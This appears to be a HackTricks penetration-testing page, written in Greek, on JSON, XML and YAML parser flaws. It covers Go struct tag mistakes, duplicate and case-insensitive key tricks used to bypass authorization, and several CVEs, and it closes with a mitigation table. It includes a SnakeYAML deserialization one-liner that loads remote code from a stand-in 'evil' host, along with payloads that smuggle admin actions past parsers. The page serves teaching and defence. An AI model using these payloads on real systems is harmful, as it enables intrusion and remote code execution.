JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Go JSON Decoder

Οι παρακάτω προβλήματα ανιχνεύθηκαν στο Go JSON αν και θα μπορούσαν να είναι παρόντα και σε άλλες γλώσσες. Αυτά τα προβλήματα δημοσιεύθηκαν σε αυτή την ανάρτηση στο blog.

Οι αναλυτές JSON, XML και YAML του Go έχουν μια μακρά πορεία ασυνεπειών και ανασφαλών προεπιλογών που μπορούν να εκμεταλλευτούν για να παρακάμψουν την αυθεντικοποίηση, κλιμακώσουν προνόμια ή εξάγουν ευαίσθητα δεδομένα.

(Un)Marshaling Unexpected Data

Ο στόχος είναι να εκμεταλλευτεί δομές που επιτρέπουν σε έναν επιτιθέμενο να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., IsAdmin, Password).

  • Παράδειγμα Δομής:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Κοινές Ευπάθειες
  1. Απουσία ετικέτας (χωρίς ετικέτα = το πεδίο αναλύεται ακόμα από προεπιλογή):
go
type User struct {
Username string
}

Πληροφορία:

json
{"Username": "admin"}
  1. Λάθος χρήση του -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Πληροφορία:

json
{"-": true}

✔️ Σωστός τρόπος για να αποκλείσετε το πεδίο από το να (απο)μαρσαριστεί:

go
type User struct {
IsAdmin bool `json:"-"`
}

Διαφορές Αναλυτών

Ο στόχος είναι να παρακαμφθεί η εξουσιοδότηση εκμεταλλευόμενοι το πώς διαφορετικοί αναλυτές ερμηνεύουν το ίδιο φορτίο διαφορετικά όπως σε:

  • CVE-2017-12635: Παράκαμψη Apache CouchDB μέσω διπλών κλειδιών
  • 2022: Zoom 0-click RCE μέσω ασυνέπειας αναλυτή XML
  • GitLab 2025 SAML παράκαμψη μέσω ιδιαιτεροτήτων XML

1. Διπλά Πεδία: Ο encoding/json του Go παίρνει το τελευταίο πεδίο.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Άλλοι αναλυτές (π.χ., Jackson της Java) μπορεί να πάρουν το πρώτο.

2. Αδιαφορία Περί Περίπτωσης: Το Go είναι αδιάφορο ως προς την περίπτωση:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Ακόμα και τα κόλπα Unicode λειτουργούν:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Διαφορετικότητα διασύνδεσης υπηρεσιών: Φανταστείτε:

  • Proxy γραμμένο σε Go
  • Υπηρεσία AuthZ γραμμένη σε Python

Ο επιτιθέμενος στέλνει:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python βλέπει το UserAction, το επιτρέπει
  • Go βλέπει το AdminAction, το εκτελεί

Σύγχυση Μορφής Δεδομένων (Polyglots)

Ο στόχος είναι να εκμεταλλευτούμε συστήματα που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν να κλείσουν σε σφάλματα αναλυτή όπως:

  • CVE-2020-16250: Το HashiCorp Vault ανέλυσε JSON με έναν αναλυτή XML μετά την επιστροφή JSON από το STS αντί για XML.

Ο επιτιθέμενος ελέγχει:

  • Την κεφαλίδα Accept: application/json
  • Μερικό έλεγχο του σώματος JSON

Ο αναλυτής XML του Go το ανέλυσε οπωσδήποτε και εμπιστεύτηκε την εισαγόμενη ταυτότητα.

  • Δημιουργημένο payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: parses "Action_3" inside the string

Σημαντικές Ευπάθειες Παρσέρ (2023-2025)

Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Αφορά: org.yaml:snakeyaml < 2.0 (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.).
  • Αιτία: new Constructor() αποσυναρμολογεί τυχαίες κλάσεις Java, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα.
  • One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Διόρθωση / Μετριασμός:
  1. Αναβάθμιση σε ≥2.0 (χρησιμοποιεί SafeLoader από προεπιλογή).
  2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Επηρεάζει: libyaml ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες).
  • Ζήτημα: Η κλήση yaml_event_delete() δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού.
  • Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση 0.2.6 που μηδενίζει τον δείκτη αμυντικά.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Επηρεάζει: Tencent RapidJSON πριν την δέσμευση 8269bc2 (<1.1.0-patch-22).
  • Σφάλμα: Στη μέθοδο GenericReader::ParseNumber() η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης.

🔐 Μετριασμοί (Ενημερωμένο)

ΚίνδυνοςΔιόρθωση / Σύσταση
Άγνωστα πεδία (JSON)decoder.DisallowUnknownFields()
Διπλά πεδία (JSON)❌ Καμία διόρθωση στη stdlib — επικυρώστε με jsoncheck
Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go)❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο
XML σκουπίδια δεδομένα / XXEΧρησιμοποιήστε έναν σκληρυμένο αναλυτή (encoding/xml + DisallowDTD)
YAML άγνωστα κλειδιάyaml.KnownFields(true)
Μη ασφαλής αποσυμπίεση YAMLΧρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0
libyaml ≤0.2.5 διπλή απελευθέρωσηΑναβαθμίστε σε 0.2.6 ή σε έκδοση με διορθώσεις διανομής
RapidJSON <διορθωμένη δέσμευσηΣυγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024)

Αναφορές

  • Baeldung – “Επίλυση CVE-2022-1471 με SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks